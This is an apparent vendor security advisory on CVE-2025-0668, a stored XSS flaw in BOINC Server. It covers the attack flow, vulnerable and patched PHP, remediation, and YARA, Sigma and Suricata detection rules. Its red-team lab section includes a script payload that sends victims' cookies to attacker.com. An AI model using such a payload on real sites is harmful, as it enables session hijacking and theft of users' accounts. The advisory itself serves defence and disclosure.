CVE-2025-0668

Executive Summary

CVE-2025-0668 is a Stored Cross-Site Scripting (XSS) vulnerability in the BOINC Server software, affecting versions prior to 1.4.5. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that are stored on the server and executed in the browsers of other users. This can lead to session hijacking, data theft, and further compromise of the BOINC infrastructure. The vulnerability is classified under CWE-79 and has a CVSS score of 0.0 (likely unassigned or placeholder). No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity. The vendor has released a patch in version 1.4.5.

Supply Chain & Package Security

BOINC is an open-source distributed computing platform. The vulnerability is in the server component, which is typically deployed by project administrators. There is no direct supply chain risk for end-users, but administrators must ensure they are running a patched version.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Unassigned)
• Attack Vector (AV): Network (likely)
• Attack Complexity (AC): Low (likely)
• Privileges Required (PR): Low (likely)
• User Interaction (UI): Required (likely)
• Scope (S): Changed (likely)
• Confidentiality (C): Low (likely)
• Integrity (I): Low (likely)
• Availability (A): None (likely)

Threat Level: Medium (due to stored XSS potential for session hijacking and data theft)

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS. The BOINC Server web interface fails to sanitize user-supplied input before storing it in a database or file. When another user (e.g., an administrator or another participant) views the page containing the stored data, the malicious script executes in their browser context. This can be used to steal session cookies, redirect users to phishing pages, or perform actions on behalf of the victim.

The attack flow:

1. Attacker submits a malicious payload (e.g., <script>alert('XSS')</script>) via a form field (e.g., project name, user profile, or message).
2. The server stores the payload without sanitization.
3. An administrator or other user views the page containing the payload.
4. The browser executes the script, allowing the attacker to steal cookies or perform actions.

Vulnerable vs. Patched Code

Vulnerable Code (before 1.4.5):

// Example of unsanitized output
echo "<div>" . $user_input . "</div>";

Patched Code (1.4.5+):

// Properly escaped output
echo "<div>" . htmlspecialchars($user_input, ENT_QUOTES, 'UTF-8') . "</div>";

The patch uses htmlspecialchars() to encode special HTML characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Deploy a vulnerable BOINC Server (version < 1.4.5) in a controlled environment (e.g., Docker).
2. Create a user account and log in.
3. Identify input fields that are reflected or stored (e.g., project description, user profile).
4. Inject a payload: <script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>
5. As an administrator, view the page containing the payload to trigger the XSS.

Exploitation:

• Use the stored XSS to steal session cookies of administrators.
• Perform actions on behalf of the victim (e.g., create new projects, modify settings).

Blue Team

Detection:

• Monitor for unusual script tags in user input fields.
• Use web application firewalls (WAF) to block common XSS patterns.
• Implement Content Security Policy (CSP) headers to restrict script execution.

Response:

• Immediately upgrade to BOINC Server 1.4.5 or later.
• Review logs for any suspicious input submissions.
• Rotate all session tokens and force re-authentication.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from the BOINC server.
• Logs: Entries containing <script> tags or encoded variants in user input fields.
• File System: Modified or new files in the web root containing malicious JavaScript.
• Database: Stored XSS payloads in user profile or project description fields.

Detection Engineering

YARA Rule

rule CVE_2025_0668_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in BOINC Server logs or database dumps"
        author = "Valters IT"
        date = "2025-01-01"
        reference = "CVE-2025-0668"
    strings:
        $xss1 = /<script[^>]*>.*?<\/script>/is
        $xss2 = /on\w+\s*=\s*['"].*?['"]/is
        $xss3 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in BOINC Server
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects potential stored XSS attempts in BOINC Server logs
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - '<script'
            - 'onerror'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in project descriptions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-0668 Stored XSS Attempt"; flow:to_server; content:"<script"; nocase; http_client_body; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Upgrade to BOINC Server version 1.4.5 or later.
2. Compensating Controls: Implement a WAF with XSS rules, enable CSP headers, and sanitize all user input.
3. Long-term: Conduct code reviews to ensure all output is properly escaped. Use parameterized queries for database interactions.
4. Monitoring: Enable logging of all user input and monitor for XSS patterns.

Valters IT
Securing Digital Frontiers